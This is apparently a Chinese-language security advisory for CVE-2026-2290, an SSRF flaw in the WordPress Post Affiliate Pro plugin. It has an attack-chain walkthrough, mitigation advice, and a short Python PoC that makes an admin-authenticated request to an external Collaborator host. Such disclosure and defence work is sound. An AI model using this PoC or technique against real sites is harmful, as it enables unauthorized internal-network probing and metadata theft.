CVE-2026-2290 CVSS 3.8 低危

CVE-2026-2290 WordPress Post Affiliate Pro SSRF漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-2290

漏洞类型

服务端请求伪造 (SSRF)

CVSS评分

3.8 低危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

WordPress Post Affiliate Pro插件

漏洞概述

WordPress的Post Affiliate Pro插件在1.28.0及之前版本中存在服务端请求伪造（SSRF）漏洞。由于插件未对用户提供的URL参数进行充分的过滤和验证，拥有管理员权限的经过身份验证的攻击者可以利用该漏洞，诱导应用服务器向内网或外部的任意地址发起网络请求，并获取服务器返回的响应数据。经安全研究人员确认，攻击者可以通过观察外部Collaborator端点的回显确认漏洞存在，存在信息泄露风险。

技术细节

该漏洞源于WordPress Post Affiliate Pro插件中的Base.class.php文件（第127行附近）的处理逻辑。插件在处理特定功能请求时，直接使用了用户可控的输入作为网络请求的目标地址，未进行有效的白名单校验或URL格式限制。攻击者首先需要获取WordPress站点的管理员权限（通过其他漏洞或钓鱼手段）。一旦获得权限，攻击者即可访问插件受影响的功能接口，构造恶意的HTTP请求，将目标URL指向内网服务（如localhost、127.0.0.1）或攻击者控制的外部服务器（如Burp Collaborator）。服务器端脚本接收到请求后，会向该地址发起请求并将响应返回给攻击者。通过分析响应时间、状态码或内容，攻击者可以探测内网端口、读取本地元数据（如AWS/Azure元数据服务）或利用SSRF进行进一步的内网攻击。

攻击链分析

STEP 1

步骤1

攻击者通过钓鱼、社会工程学或其他漏洞获取WordPress站点管理员级别的账户凭据。

STEP 2

步骤2

攻击者使用管理员账户登录后台，访问Post Affiliate Pro插件中存在漏洞的功能接口（如Base.class.php处理的逻辑）。

STEP 3

步骤3

攻击者构造包含恶意URL参数的请求数据，将目标指向内网敏感地址（如127.0.0.1）或外部Collaborator服务器。

STEP 4

步骤4

WordPress服务器解析请求，向攻击者指定的恶意URL发起HTTP连接，并将返回的数据展示给攻击者。

STEP 5

步骤5

攻击者根据服务器返回的响应内容或Collaborator端的交互记录，确认漏洞存在并窃取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
attacker_controlled_url = "http://burpcollaborator.net"

# Authentication cookie (Admin level required)
cookies = {
    "wordpress_logged_in_xxx": "admin_cookie_value",
    "wordpress_sec_xxx": "secure_cookie_value"
}

# Payload data - Simulating the vulnerable action found in Base.class.php
payload = {
    "action": "postaffiliatepro_action", 
    "url": attacker_controlled_url     # Vulnerable parameter triggering SSRF
}

try:
    # Sending the request to trigger SSRF
    response = requests.post(target_url, data=payload, cookies=cookies, timeout=10)

    # Check if the server-side request was initiated successfully
    if response.status_code == 200:
        print("[+] Request sent successfully.")
        print("[+] Server response:", response.text)
        print("[+] Check your collaborator listener for DNS/HTTP interactions.")
    else:
        print("[-] Failed to send request. Status code:", response.status_code)

except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Post Affiliate Pro <= 1.28.0

防御指南

临时缓解措施

建议立即将Post Affiliate Pro插件更新到最新版本以修复漏洞。如果无法立即更新，应严格限制WordPress管理后台的访问权限，仅允许可信IP访问，并清理不必要的管理员账户。同时，可部署Web应用防火墙（WAF）对发往插件相关接口的出站请求参数进行检测和拦截。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表